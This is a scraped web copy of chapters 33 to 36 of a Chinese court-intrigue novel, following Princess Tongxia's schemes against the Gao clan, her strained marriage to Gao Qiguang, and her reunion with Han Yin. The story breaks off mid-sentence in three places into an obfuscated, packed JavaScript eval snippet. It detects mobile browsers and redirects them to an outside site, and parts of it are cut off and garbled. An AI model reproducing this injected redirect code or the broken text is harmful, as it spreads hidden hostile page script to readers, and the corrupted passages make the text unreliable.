高黛也只一味平静,止步他身侧,道:“你不是那样想的,为什么不向公主解释?她不愿要你的命,难道还听不得解释?” “她会听,她从来没有不把我的话放在心上——”齐光缓缓抬起头来,气息迟钝,目色空洞,“但她,不会再在意了。” 高黛蹙眉一惊,想来只觉胸口闷痛:“公主若不是公主……她也可怜。”缓过许久,方继续道:“总之,不为公主,肃王那里,你也是没有办法的。” 齐光这才看见她手中拿着一封书帖,不待她递来,一把夺过,撕成了碎片,“绝不可能!” “那你想怎样?!”高黛切齿喊道,愤恨之情再难克制,“就算秦非到了繁京,肃王也不会强取豪夺,你今后还有可能取信于他么?!就像你当初无奈做了驸马一样,我也可以!” “这不一样!!”齐光站起身来,一掌狠狠拍在墙上,“我向你娘下跪发过誓,就算是我死,也绝不可能让你置身险地!” “可你现在死也是白死,只有我去王府才有一线转机!” 两人争持不定间,开禁鼓声传来,而不消眨眼,几在同时,宅门忽然从外被推开了—— “驸马,高娘子,妾是来替公主传话的。” 看清来人的一瞬,齐光已不自控地冲上前去,却不知所言,又仓惶顿步,“她……公主如何了?” 稚柳半垂目光,只将同霞去往肃王府的情形平静地说了一遍,无论他们露出怎样难以置信的神色,始终视如等闲,末了方薄施一礼: “公主还交代,请驸马不论是现寻一人,还是果然将人找来,总要有一个秦非出现,才可彻底打消肃王的顾虑。另外,也请驸马记住妾方才所言,今后千万不要在肃王面前说漏了嘴。如若不然,驸马和娘子之间,终究也不可圆满。” 齐光无法回答“是”,只觉那字字句句都是拆散了向他袭来,每一道笔画都成了锋利的刀子,剜其心剔其骨,令他垂死,终究支持不住,沉沉跪地。 稚柳并不想等他的回应,却见站在稍后的高黛似乎想要来扶他,又掩耳盗铃般扭转了脚步,嘴角不禁衔起一丝冷笑: “高娘子,妾斗胆也有一言相告,如果驸马当初不是以冯氏拒婚,而是如实坦白与你的关系,公主断断不会强求。她曾与妾说过,庆幸驸马是不曾娶妻的。所以自始至终,你并没有什么可委屈的,休要到现在,还作出一副矫情不忍的样子!” 她以轻淡的语调说出了极重分量的话,巨大的反差也如重锤般,高黛也再无法说出一字,紧紧闭目,深深垂首。 稚柳不愿再多停留,转身之际,余光划过地上的身影,却忽听他发出祈求: “臣想知道,公主为何还不愿将臣弃绝?” 稚柳眼中闪过一丝怒色,哼声道:“驸马不会是想听妾说,是公主不舍,或者公主顾惜颜面吧?” 齐光缓缓摇头,“臣没有。” 稚柳嫌恶地看着他,最后留下一言:“那就请驸马好自为之,好好——珍惜吧!” 已是晨光出照,本该弹冠振衣,赴任宪台的侍御史高齐光颓然瘫坐在地。他今日依旧还是安喜长公主的驸马,一夜梦醒,云雨无凭,什么都没有变。 33.乱花迷眼 从去岁立秋日算起,同霞又有半年不曾来探望周肃了。此刻平躺在他闲来自制的一把竹牙床上,一面从放在肚子上的漆盒中摸糖送进嘴里,一面听了他将近一个时辰的念叨。 同霞很明白这半年来周肃有多担心,但仍用糖盒中最后一颗糖堵住了他的悬河之口,向他嘻嘻一笑: “阿翁,你歇歇吧!该轮到我了。” 周肃恨也不是喜欢更不是,真想将糖吐了,看她晃头晃脑的,实在无赖至极,终究拿她不住,一甩袖道:“臣的话你不听,你的话,臣也不听!” 同霞扁了扁嘴,试图扯住周肃的袖口,又被脱开,挑眉一想,索性道:“阿翁应该了解裴昂吧?给我说说他的履历。” 她居然直接开场,周肃皱眉调过头来,没好气道:“臣说了不听,什么履历,臣早不记得了!” 同霞嗤声一笑:“阿翁不听,怎么还理我呢?” 周肃一时气得要发昏,扶额叹气,半晌却再不闻她耍赖,转眼一看,只见她已直身端坐,目光平和地望来: “阿翁,你不告诉我,我就不知道怎么办了。” 不过还是个十五六岁的孩子,那双眼睛里竟看不出半分恐惧,周肃知道是势成骑虎了,心软一叹,道: “他是先帝显元十九年的进士,出身寻常,名次也寻常,但先帝看他一笔字写得极好,就留他在京中,做了太子司经局的校书。” 同霞并非完全不知道裴昂的旧事,心中细细核对,问道:“显元十九年,陛下刚刚被立为太子吧?我听闻,那一年似乎并不太平,发生了很多事。” 周肃点了点头:“太子新立不久,西慈使者来朝请婚,先帝便选了临淮公主前往和亲。公主是先帝长女,虽然成年之际就已出降,可惜驸马早亡,公主一直寡居,那时也才二十余岁。” 许久不谈及往事,周肃不由缓了口气,方继续道:“公主虽心中不愿,也知无法改变。只是那时公主同母的弟弟,宋王久病,已在弥留,公主便求先帝缓一缓婚期。但或许是宋王知晓了公主即将远去,情急病剧,两日后就去了。” 对于这位素未谋面的长姐,同霞原本所知的只有她的和亲。年深日久,连永不停歇的风闻物议中都不会再有关于她的只言片字。千年百载后,史书也只会记载她是一位和亲公主,却永远没有人在意,她在那样青春的年华里,先失了丈夫,又看着弟弟死去,最终被父亲遗弃。 “先帝……”同霞失笑摇头,手掌已不觉攥拳。 周肃忧切地看着她,却也寻不出劝解的话,只好说回正题:“裴昂在东宫两载,还是放了外任,直到永贞三年方又回京。此后便一直在省部逡巡。到了永贞十五年,他升任礼部侍郎,第一次担任知贡举,这时才算有了些名堂。” 如此看来,裴昂的履历果然没有什么稀奇,唯一可堪琢磨的就是这“知贡举”,同霞想来说道: “他出身寒素,便也一向亲近寒士出身的同僚,与那些门荫入仕的官吏不相为伍。那阿翁可知他在朝中都有哪些亲信之人?” 在周肃侍奉先帝近五十年的岁月里,裴昂实在不算个突出人物,以至于听闻他竟然拜相,又成了皇亲,只感到匪夷所思。于是搜肠刮肚,半晌才为难地开口: “臣只依稀记得,他因知贡举,提携过一些寒门士子。其中有一个叫孟殊平的,文章不俗,他尤为赞誉。” 孟殊平,同霞好像不是第一次听到这个名字,但一时想不起来关节,急忙又问:“那这个人后来担任何职?去了哪里?” 周肃也记得模糊,“是二十……是永贞二十年岁考后,从外转迁去了御史台,再往后,臣便不得而知了。” 御史!同霞恍然大悟——是那个弹劾许昌郡公徐纵的监察御史,是高齐光对自己说起徐纵案时提到的。 弹劾百官的过失本是御史职责,并没有一丝奇怪之处。但若是孟殊平还与裴昂有这样一段旧故,那事情就有些意思了。 “怎么了?”周肃看见同霞起伏的脸色,不禁关切。 同霞便将徐纵案的关联提了一回,与周肃分析道:“因为徐纵枉法确是事实,连高琰都没有深究孟殊平其人,只是忙着让高齐光弥合他与肃王的关系。若此事果然与裴昂有关,那他的目的只能是针对高琰。可那时,他尚未拜相,女儿也没有册封许王妃,他应该不是为许王的立场出力。” 越是推想,关联也越来越多,同霞不禁皱起眉头,理了理思绪方继续道:“不过也有另一种可能,便是此事正是陛下授意裴昂去办,裴昂从那时起,或至更早,就已经是陛下的人了。陛下对高氏不满,但因受过高家的恩惠,高氏若无大过,他也无法乾纲独断,便每每君臣对峙,时而敲打。” 周肃细细听来,除了十分赞同,也不觉流露无奈的感慨,这样一个天资灵透的公主,想要她一生安稳,默默无闻,终究是痴心妄想。 “不论怎样,如今的局面,裴昂和许王,高琰与肃王,俨然已是水火不容。臣想问上一句,你必欲除高氏,终究是想要推许王为太子么?” 同霞冷静地想了想,道:“萧迁急躁,但也算遇事果决,若为储君,大抵会与陛下相似;而七郎仁弱,心思单纯,莫说他自己无心,就是有心也只怕并不适合。可是阿翁,我不想弄权,只想报仇——他们萧家的江山,与我何干?” 周肃闭目一叹,心中悲悯:“那你想好了么?接下来要怎么办?” 同霞原本觉得自己的计划进展平平,甚至因为高齐光有些偏离了本心,而此刻虽然乱花迷眼,却也算是有了些眉目,一笑道: “稚柳有句话说得对,她说我之前不算用错了力,总是有迹可循。这便是,我现在很该利用高齐光与高家的关系,助高氏一臂之力,等他们登高跌重,陛下自会替我了结。” “那你与许王的关系呢?你躲在后头,或许不惹怀疑,一旦走到人前,如何骗得过高琰的眼睛?”周肃即是提醒,也是担忧。 同霞却不以为然地摇头:“七郎知道我的处境,不会给我添麻烦,我只需与他平常相处,至于萧迁,我更不会吝啬。高琰就是再精明,又能怎么怀疑?再说了,现在高齐光这条命,在我手里。” 高齐光。这反而是周肃最捉摸不定的一个人。 一介寒士能够得到高琰的青眼不算稀奇,无非是像众多高氏党徒一样,善于奉迎。但这短短一年内,他竟然能够在皇帝与高琰之间游刃有余,从许王师做到了侍御史,也成为了高琰交涉肃王的使者。一个年纪轻轻的后生小辈,若不是天赋异禀,便只能是居心叵测了。 “你要小心,螳螂捕蝉黄雀在后,也要小心,这黄雀万一就是蝉变的呢?” 同霞明白周肃是要她小心高齐光,可谁是黄雀,谁是蝉,她却觉得尚无凭据,只道: “徐纵案虽已平息,想来也给高琰添了教训,他将高齐光送进御史台,应该就是想把控朝中言论。毕竟御史台是清要之地,言官们向来不党。只是高齐光入御史台,也是陛下默认,我倒觉得,陛下也不会无动于衷。” 周肃点头道:“你就记住,凡能放手,便就旁观,不能旁观,也不可轻易露真!” 言之切切,同霞也已悉数听进,一笑看了看天色,正欲辞去,忽又想到了什么,问道: “险些忘了,我还从未问过阿翁,高齐光是永贞二十年登科,那一年也是裴昂知贡举,阿翁当年可对高齐光有印象?” 周肃早已知晓高齐光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890924|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的来历,若有记忆不待今日才说,摇头道:“这位高驸马可是神秘得紧呢。” 虽只得到取笑,同霞仍知其中千情万意,不再多说,终究向周肃告辞。但等到竹坞院外上马,又见周肃追了出来: “臻臻,千万要当心啊!” 同霞喜欢周肃这么唤她,欢喜一笑,挥了挥手:“知道了阿翁,过些时日我再来看你!” * 同霞遣稚柳向高齐光传话后,便由李固护送去了皇陵。一日间快马往返,总算在宵禁前进了城。她自然不会再回昭行坊,马蹄所向是她本该居住的公主府。 因行路的男装扮相惹眼,她只从公主府后门进入。稚柳早于后院等候,一见她回来,立马迎去禀道: “妾已向府里交代下去了,许王即将大婚,公主要搬回居住。只是刚刚,驸马来了。妾知道公主留他有用,便也不好在下人面前赶他走,就依礼请了进来,说公主正在休息,让他等着。” 同霞没有料到他来得这么快,轻哼了声,道:“你做得对,以后就让他在这里,还要与我同住内院。” 稚柳暗暗咬唇,为她不值,却也明白其中道理:“他现在就在内院书阁,公主想见他么?” 同霞一笑:“见,为何不见?” * 高齐光并不以为同霞不会见他,即使稚柳许他进来的用意已不言自明。等到稚柳再次现身,果然将他引往公主起居的郁金堂,兰室之中,紫绡帐下,她身着淡青长裙,半绾云髻,只是一副慵懒适意的之态。 他第一次觉得她像一位公主了。从前杏园里,欢宴上,哪怕花冠礼衣的盛装之下,他都没有这般感觉。 “室内燃得是苏合香,你闻出来了么?” 他正要敛衣下拜,见她回首一笑,微微怔住,半晌才看向她身侧围屏下摆放的一座褐彩云纹镂孔香炉,“回公主,臣闻出来了。” 同霞点点头,唤他近前几步,方道:“那你也该知晓,苏合香味甘、性温、无毒,可以通窍、开郁、辟秽。我是很喜欢的,你呢?” “臣也喜欢。”他敛容道。 同霞却笑着摇头:“你从来都不用香,房中既不点香,衣上也不熏香,谈何喜欢?”又道:“因为我是公主,你才说喜欢的么?” 她语出双关,齐光心中明了,回道:“臣喜欢味甘、性温、无毒的东西,因为可以通窍、开郁、辟秽,不论公主是不是公主,物性物理总不会改变。” “你这个人,怎么会只中在二甲呢?科举的文章比之人心,可简单得多。”同霞不吝啬地露出欣赏的神情,悠然又道: “不如你说说,你这个名次是怎么来的?难道你那时就已得罪了裴昂,如今投在高琰门下,是蓄谋要向裴昂复仇的?” “臣若说不是,公主会相信臣么?”他面不改色,又忽而撩袍下跪,大拜了一礼,“臣就是来同公主坦陈的。” 同霞不过是因从周肃处听说了旧事,故作试探,他居然喧宾夺主,摆出这副义不容辞的样子,她一时陡生憎恶,斥道: “才过去一日,你又想如何欺哄?!你以为你的命,如今还轮到你自己做主吗?!” “臣的命是公主的,臣的报应是臣应得的——可是臣今天要说的都是实话……” “够了!” 实话、真话、真心话,同霞不知从他口中听过几次,可眼前的事实已证明他只是个道貌岸然的狂徒。她高声将他打断,起身转入内室,不愿再多给他一分颜色: “高齐光,你若想活命,就在人前做好你的高驸马吧!” 那座镂孔香炉中仍在焚香。香气弥室,将齐光包容其间,而青烟袅袅,却只游荡去了他无法到达的幽深之地。 34.立爱展亲 “这还是你成婚后第一次来我这里,我们不谈这些了好么?” 听德妃如此说,同霞很快便想起来,上回在承香殿,正是向皇帝请求下嫁高齐光的那次。虽然至今尚不足一年,却大有时移世易之感。看着德妃委曲求全如旧,她也徒然感慨。 皇后因奚落德妃受到皇帝冷待,已有旬日过去。高琰果然无法插手后宫之事,竟提议加授萧遮太常卿的职衔。 虽然高琰用意明显,但因诸皇子中,先前唯有肃王遥领着一州刺史,再无其他皇子领官,这份“赔礼”便到底也算有几分诚意。只不过,最终并没有落实。 “历来皇子授官,不过是锦上添花,大多并不实际管理事务。况且又是太常卿这样的礼乐官,本也没有什么分量,娘娘何不就劝陛下接纳也罢了?” 见同霞还是要分说此事,德妃无奈道:“你这样聪慧,怎么就想不明白?七郎已被他们视作妨碍,若是陛下降旨,我也无法,可这是他们给陛下的台阶,我们怎好糊涂呢?” 同霞哪里不懂,只是想到自己的计算,实则也是漫不经心,笑了笑,拣了案上德妃亲自挑选来的糖吃了几块,另起话端: “前日七郎同我说,我们两府本就挨着,要叫人从后园开一道门联通起来,以后天天来找我玩。娘娘看看,他都是要成婚的人了,还这么孩子气,也不怕王妃笑话。” 德妃蹙眉一笑,牵起她的手道:“你如今既然住在公主府,今后他们夫妻要是有什么错处,还要劳你多管教呢。” 同霞一听,顿时抽开了手,起身作势要走,“娘娘现在是一点也不疼我了!知道我难得来一次,还派事给我做,看来心里只有那个小王妃了!” 德妃见她竟撒娇,好笑又怜爱,忙追去将她揽到怀里,哄道:“这是我的错,长公主饶恕我吧?我现在就去把七郎找来,当着你的面教训,好不好?” 终于看见她漏笑,这才伸手点了点她的脑袋,笑道:“你啊,还说什么小王妃,人家可比你略大些呢!你这孩子气也不输七郎了。看来,平素高驸马也是这么惯着你的!” 同霞努了努嘴,只道:“驸马是不错,但也是我眼光好呀!”咧嘴一笑,又从德妃怀中滑了出去,“娘娘,我真的走了,我要去御史台看看驸马在做什么!” 德妃只当她取笑,再不及追去,只看她脱兔一般,提着裙边一阵小跑溜出了殿外。 左右宫人见状都不禁低头忍笑,一年长侍娘走上前道:“娘娘,要不要叫人去跟着?御史台可不是玩的地方。” 德妃微笑摇头道:“不必了,陛下知道也不会怪她的。” * 这日本是常朝,又兼太平无事,散朝之后,皇帝便往内朝紫宸殿稍歇。入殿后,自有宫人端来铜盆侍奉净手,谁知皇帝垂目看到盆中水面,忽而一惊: “你——你这丫头!” 安喜长公主同霞抬头一笑:“哥哥是嫌我侍奉得不好么?” 她一身女官装扮,若非水面倒映出她的脸庞,皇帝竟未正眼去看。但虽然惊,一瞬又化为了喜,只叫陈仲接了她手中铜盆,将她牵到身侧,笑道:“越大越是顽皮!什么时候来的?身体都好了吧?” 同霞一面相随皇帝入座,又斟茶奉上,方道:“哥哥连尚药局的医官都派给我了,我正是好了才来谢恩的!”看皇帝欣然将茶饮尽,含笑又道: “但哥哥还没有下朝,我就先去了甘露殿,可是蓬莱正巧在,我便没有打扰她们母女,就又去了承香殿。” 她满宫里转了一圈,倒是面面俱到,皇帝不由轻笑一声:“蓬莱又进宫了?” 蓬莱公主时常入宫陪伴皇后,这是阖宫皆知的,而同霞今日,则是紧随她之后入宫的。 但她只佯作不知,反问道:“又?”点了点头,恍然又道:“哦,我明白了,肯定是为近日的事端来宽慰皇后的。连我去承香殿,德妃也说,想劝陛下息怒,与皇后重归于好。” 听到一半,皇帝面色已稍沉了几分,此刻抚须又道:“你倒是没心没肺,上次回宫还是去岁夏天,嘴上说着谢恩,就是这样谢的?” 叹了口气又道:“既然这样,又为这些琐事操什么心?听几句闲言碎语,你就懂了?” 同霞抿唇一笑,心中了然,柔声道:“哥哥先别生气,我也有苦衷啊。我便不回来,还有人弹劾我豪奢无度,恃宠生娇呢,我要是天天在哥哥眼前晃悠,那些弹章恐怕要一日堆一座山了!” 见皇帝略有动容,她又顺势挽住了皇帝手臂,“哥哥说得也对,我是不懂那些大事。只是皇后毕竟是哥哥的结发妻子,她与德妃一时气话,哥哥也说是琐事,何不就大事化小小事化了呢?” 她自成婚后言行举止越发贤惠得体,一番话说得情理动人,皇帝心软不已,疼惜道: “你的委屈朕都知道,看这不是叫高齐光去御史台了么?朕就是想理理这些口舌。以后你只管想什么时候来,就什么时候来。皇后那里,你也不用多劝,朕自有道理。” 同霞便乖巧地点了点头,又道:“驸马去了御史台,也是哥哥抬举,他毕竟资历尚浅。上回他去给他的座师裴尚书道贺,裴尚书还当街嘲讽他来着。我是想,哥哥不如给他一个闲官做做也罢了,我公主府又不要他去撑门楣。” 裴昂当众讽刺高齐光的事,自然也传到皇帝耳中,此情此境被同霞提起来,他的眼中只浮现一丝微妙的笑意,仍安抚道: “裴昂性情耿介,朕倒是喜欢这样一个直臣。朕已见过他的女儿,也是一位知书达礼的闺秀,你今后也可多多亲近。至于高齐光,是一个可用之才,朕不会因为他是你的驸马,或者别的缘故,就待他失之公允,你放心就是。” 什么别的缘故?没有别的缘故,就是高琰的缘故。 皇帝心知肚明,同霞也不过是顺水推舟,便展颜一笑,继续就计道: “我没有不放心,只是觉得朝政冗杂,我不是男儿,也不能为哥哥分忧,最多就是管管驸马了。我又时常想,哥哥总说私下要以家人之礼相待,若别人不能将就,还请哥哥不要顾惜我。” 她不但通情达理,这时就更添了几分大义,皇帝惊喜感怀道:“好,好啊,朕真是没有白疼你,满朝哪一个公主能像你这样体贴朕心呢?” “所以,我想……”同霞却仍有下文,咬着嘴,圆着眼睛,一副巴望的神情。 “想要什么?朕都许你。”皇帝只依从道。 同霞一笑道:“我了解哥哥,皇后那边,哥哥虽说自有道理,也不过就是当做没有此事,日久消磨。若哥哥实在不肯给皇后一个台阶,不如就加恩肃王吧?他的长子已足周岁,哥哥一向喜爱,何不就封那孩子一个爵位,立爱展亲,名正言顺。” 这倒实在出乎皇帝的意料,立马问道:“小十五,你说实话,肃王与你并不亲近,你这般费心周全,到底是为了什么?” 同霞收敛了笑容,离席跪倒,禀道:“陛下,十五不敢欺君,其实就是为了七郎。七郎有陛下恩宠是他的福气,但他也因这恩宠活得委屈,他还与我说,若有机会想要出京去。” 皇帝不觉深深皱眉,但面上并无肃容,缓而一叹,还是将她亲自扶了起来,“你的心思朕明白了,只是不论你听到了什么,你懂不懂,都不要擅自揣测,朕当有明断。” “是。”同霞颔首道。 * 皇帝此日没再幸驾别处,就叫同霞相伴,在便殿设了小宴,至将亥时,才在同霞一再请求下,作罢了留她在宫中小住的想法,命一队羽林禁军将她护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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同霞缓缓摇头:“一来,册封不是高琰所提,而是陛下决断,皇孙也不是高慈所生,其中利益,高家只是挂名,实惠在肃王,在徐氏,终在皇家一脉。你可别忘了,徐氏也是陛下赐给肃王的侧妃;再者,我今天已经给陛下提过醒了,说七郎不堪重负想要离京。他扶植裴昂,宠爱七郎,是要高琰着急。那册封皇孙虽看似与七郎无关,却有烈火烹油之效——高琰会为皇后的事示好安抚,那肃王得意,又会不会想着自己的弟弟呢?” 稚柳终于明白过来,双目一亮,赞道:“肃王自然不愿分羹!但陛下又看重家人间的敦睦之情,公主真是厉害!” “不是我厉害,他们一个个若无私心,我就是拿着刀,也没办法让他们流一滴血。”同霞终究觉得可笑,靠在枕上,闭目长舒了口气。这时却觉室内苏合香的气味似乎重了些,忽问道: “高齐光还没有回来么?” 稚柳正想劝她歇下,一抿唇,答道:“公主忘了?侍御史是要在台院轮流值夜的。” 同霞轻“嗯”了声,“你也累了,不必陪着,我自己睡就好。” * 一夜沉睡,同霞醒来时只觉日光透入深帐,问起时辰才知竟已到晌午,心中尚有安排,然而起身更衣,却见稚柳面露难色,说道: “驸马一早回来,说陛下已经下旨册封,但……” 已经料到的事,同霞不觉意外,只看她的反应稀奇,“有话直说。” “陛下不仅封了皇长孙为高平郡公,还封了袁妃的儿子为成安郡公,连徐妃的长女也封了宛丘县主。另外,还有驸马,赐了清河县子的爵位。” 肃王二子一女皆得了封爵,也算是顺理成章,高齐光竟也沾了光。同霞这才明白她为难什么,但思索片时,仍一笑: “你瞧,我才说烈火烹油,陛下又添了把火。” 稚柳大抵明白这意思,道:“驸马还在等公主赐见。” 说话间,同霞已简单穿戴好了,点了点头,从容走出了内室。那人立在那座镂孔香炉边,气色虽倦怠,神情却还沉稳。 “是喜事,你怎么还不梳洗更衣,去向肃王交差呢?”同霞笑道。 齐光缓缓拱手一礼,开口的嗓音略带嘶哑:“所以,这是公主顺便为臣求的么?” 同霞摇头道:“是不是有什么区别?陛下此举为立爱展亲,你也算是皇亲啊。”却不愿再与他多说,径直向门外走去: “我要出城游玩一段时日,你想做什么就做什么吧,清河县子。” 齐光浑身僵立,双目一瞬涨得通红。 35.结在深肠 萧遮可喜同霞为他大婚搬回公主府居住,说要辟一道门联通两府,果然极快就找来了匠人开始营造。同霞方从前门入府去见他,就被他兴冲冲拉到了后园观赏杰作。 “虽不用正门那样,六七人宽总是要的,我原还想把我们两处池子凿通呢,就是工程太大,要请旨让工部来办,又恐怕陛下嫌我靡费,这就不值了。” 萧遮只管兴奋地各处指点,说的话又直冒傻气,同霞却不知他有没有听闻册封之事,想了想,趁隙便道: “陛下刚刚册封了你大哥的几个孩子,你这时候若为自家工事请旨确实不妥,就好像也伸手向陛下讨好处似的。” 萧遮倒不意外,兴味也顿时大减,指引同霞往园中水亭宽坐,一面才道:“陛下直接册封大哥做太子才好呢,我什么好处也不想要。” 果然试探出他的底细,同霞只觉好笑,道:“你和你娘一样,说来说去都是这些,可你娘在后宫为自保忍气吞声也罢,你既已出阁,就不能和她一样了。” 见他面生疑惑,同霞便将昨日面见皇帝的情形说了一遍,又道:“陛下仍没有立太子的打算,你的处境还会如此持续。但裴昂现下是宠臣新贵,你与裴家结亲,也算是有了一重依靠。” 萧遮垂目思忖了半晌,忽却反问:“那高齐光也封了爵,也是姑姑替我讨好高家的么?” 同霞稍稍一愣,想起他一直都认为自己嫁给高齐光是为了平衡利害,“驸马封爵是常事,还有封国公的呢,他才一个子爵,你为什么要这么想?”给了他一个似是而非的答案,转口又道: “你要是真明白我为你好,就去做一件事,我保你无虞。” 萧遮从没见过同霞此时的神情,忧不算忧,恼更不是,严肃而诚恳,目光中又带出几分无奈,真是复杂,终究叹气点头:“什么事?” 同霞道:“入宫请旨。” “你不是才说不可为工事请旨么?”萧遮惊疑道。 “不是工事,是为你五妹萧婵请封公主邑号。” * 同霞交代完萧遮后,便从其王府后门离开,乘一驾轻车往城外而去。这时才见驾车的人只是寻常小奴,并不是李固,而稚柳又是一副比说起册封之事时还难堪的神色。 “李固病了么?要不要紧?”同霞只能想到这个理由。 稚柳垂首咬唇,近乎要跪禀,被同霞拽住才道:“妾也不知他去了哪里。方才出来备车就看他心神不宁,忽然就跨马走了,只留下话说稍待追来,再向公主请罪。” 李固从未有如此失态之时,但同霞并不至于气恼。 虽说她日常出入只带李固、稚柳两人,但现在她只是要去城外的私宅游览休闲。比之其他皇亲贵胄在各处建造的园林宅邸,她那山居根本毫不起眼,就更不怕暴露她是为见周肃才如此。 同霞于是安慰道:“没事,李固不会乱来。”只想起正事,又道:“七郎的奏章呈上去,陛下定会恩准,只怕用不了几日,高齐光又要去处理肃王的牢骚了,那时也还须李固回城听听风声。” 稚柳这才松缓下来,点头道:“肃王得意,不会想起兄弟之情,但许王却能顾念五公主,自然高下立见。陛下加一把火,公主就添一把柴,顺水推舟。只是,肃王会不会怀疑这也是公主的主意?” 同霞不以为然:“我给了他这么大的恩惠,他怎么也该去怀疑裴昂。况且,陛下的儿女都是他即位后,才从东宫迁居鹤羽宫的。他们是亲兄妹,我却是那时才见到萧婵,这远近关系,萧迁岂会不知?” 稚柳不过为同霞多一层忖度,听她解说,便放了心。 * 此后一路平顺,只是路上终究没见李固追来。等抵达南英山脚下,遣走了驾车小奴,天色也已向晚,稚柳便服侍同霞安歇。 当下惊蛰已过,山林别样幽静,不时有高低虫鸣传入耳内。同霞只觉犹如天然奏曲,别样动听,倚在窗下,不觉就入了神。稚柳端水进房,见她这般,以为还在深思,劝道: “明日是十五,逢五之日,皇陵陵署都会遣人给周翁送食水用度,我们不便过去。公主就在这里好好休养,近来未免也太辛苦了。” 同霞这才一笑抬头,“若不是为躲清静,我来这里做什么?七郎大婚还有一个月,我们就到前一日再回去。” 稚柳点点头,为同霞挽袖净手,忽然却听见外头传来马蹄声,惊觉是李固终于到了,“公主,妾先去看看!” 同霞也早已站起,辨析越来越近的动静却觉哪里奇怪,说不上来,只好提醒她提上灯盏。 稚柳出门不久,声音就停了。但山居本在平原空阔处,同霞想来,若他们说话也该是有些回声,便疑惑着也走到门下—— “公主,快出来吧,看看是谁来了!!” 还不及启门,稚柳异常雀跃的声音就惊了她一跳,几乎屏住呼吸才继续推开门。一见,稚柳和李固左右站在廊下,而两人中间还有一个相貌英武的男子。 原来,刚刚奇怪的马蹄声是怪在不止一人一马。 “他是谁啊?”但同霞根本没认出来。 稚柳一笑,上前扶持同霞,又叫李固将灯举到那男子脸侧,道:“公主再仔细看看?” 他们举动如此不可思议,同霞倒紧张起来,但那人却一直神情殷切,目光闪烁像是含泪,颇有些激动,“……我真的不认识你。” 稚柳这才与李固互递了眼色,不愿再为难同霞,然而那男子竟忽然跪地,前倾了身躯,又以手拨开了额头包裹的幞巾,“臣是韩因啊,公主真的不记得臣了吗?” 韩——因—— 这个姓名尚未从同霞淹没的记忆中浮现出来,他额上露出的一道手指长的伤疤,便在瞬间将一切旧故都勾起了: “韩……因,韩因哥哥!你没有死,你还活着?!” * 侍御史高齐光刚刚结束了一夜在御史台的值班,才一走出宫门,便有一个自称来自许国公府的小奴上前相告道: “高驸马,家翁听闻驸马新封清河县子,十分为驸马高兴,特在府中备下宴席,恳请驸马过府一叙。” 齐光定睛看他半晌,依稀记起这张面孔曾在高家的内院见过,点了点头,“好,下官也有多日不曾拜望老师了。” 小奴一笑躬身,便与齐光牵马,将人带往了高府。不久抵达府门,仍将齐光径直引入高琰书房。 齐光入内看时,只见围屏下一张席面饮馔齐备,却不见高琰身影,正欲询问,忽见两婢女进来,服侍他净手揩面,又要替他解带更衣,被他退后阻止。这时才闻一声朗笑: “驸马如此洁身自律,难怪公主倾心相酬,为你讨得爵位。” 高琰从门外踱步进来,齐光忖度他的话音,仍从容一拜,笑道:“学生不敢在老师府上放肆。公主错爱,学生也只能愧领了。” 高琰抚须颔首,又道:“只是我记得你早有一妾,公主也能宽容接纳,竟也一直相安无事么?” 齐光不防此问,轻一皱眉,很快答道:“不瞒老师,公主确实贤德,也曾说过不会将学生早年的一个妾室放在心上。但贱妾去岁生下一女,不幸夭折,她过度伤怀,学生已将其送还家乡安置了。” 高琰初闻此事,眼中划过一丝诧异,终作一笑,“既是贱妾之女,你也不必过于可惜。”便叫他就席,看他再三施礼告坐,才道: “近日宫中喜事频传,先是肃王儿女得封,再是你,如今陛下第五女又封了始宁公主,这件事你可听说了?” 五公主之封就是前两日的事,齐光自然已经知晓,想了想,回道:“是,学生还听说此事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高听来若有所思,问道:“苏侍御?可是苏干?”见齐光确认,却又笑叹道: “你不知,此人正与裴昂是同年登科,与他是臭味相投,一副脾气。上回裴昂当街辱你之事我也听闻,这苏干待你如何?” 齐光淡然道:“自是一副脾气,但学生能入御史台,都是老师之功,学生今后但凭老师吩咐。” 高琰至此终于显露几分松弛的神色,与齐光举杯邀饮,共享美馔。 * 齐光回到公主府已是午后,不料才到门侧阍房,却有一门吏追出禀告,说是肃王府已几次来人相请。又不等他问明情由,一个面熟之人便随后站在了眼前。 正是肃王驾前内臣杜赞,上月到昭行坊传见的也是此人。 齐光便先遣走门吏,却也不问这内臣缘故,直道:“大王之意,我已知晓。但高某新到宪台,事务缠身,此刻无暇,你只转告大王,平心静气便可。” 杜赞并不依从,又闻见他身上酒气,反问道:“驸马既已回府,还有什么公务要办?难道是要再去赴宴么?” 齐光本已为高家这趟酒吃得心思郁结,再听他竟有质疑之意,顿时怒起,斥道: “这是公主府,不是肃王宅!你家大王尚且待我如上宾,你又有多少斤两,胆敢干涉我的事?” 杜赞只为自己半日之内已往返多次,心气浮躁,这才发觉失态,忙下跪告罪,匆匆离去。 然而,齐光驻足原地,良久也不再入内。眉心攒起了几道深痕,似隐忍,又似苦思,忽然又奔向门外,翻身上马,扬鞭而去。 * 齐光第一次看见南英山,是上京之时路过此地。那时的他不会想到,还有今日特意寻来之时。 八十里路快马飞驰至山脚,也已到日落黄昏。所幸,她没有骗他,那座沁水庭院并不难找,他听见了她清灵的笑声—— “韩因哥哥,你再也不要走了!” 也与笑声一道,看见了她对别人盈盈笑语。 36.柳色春藏 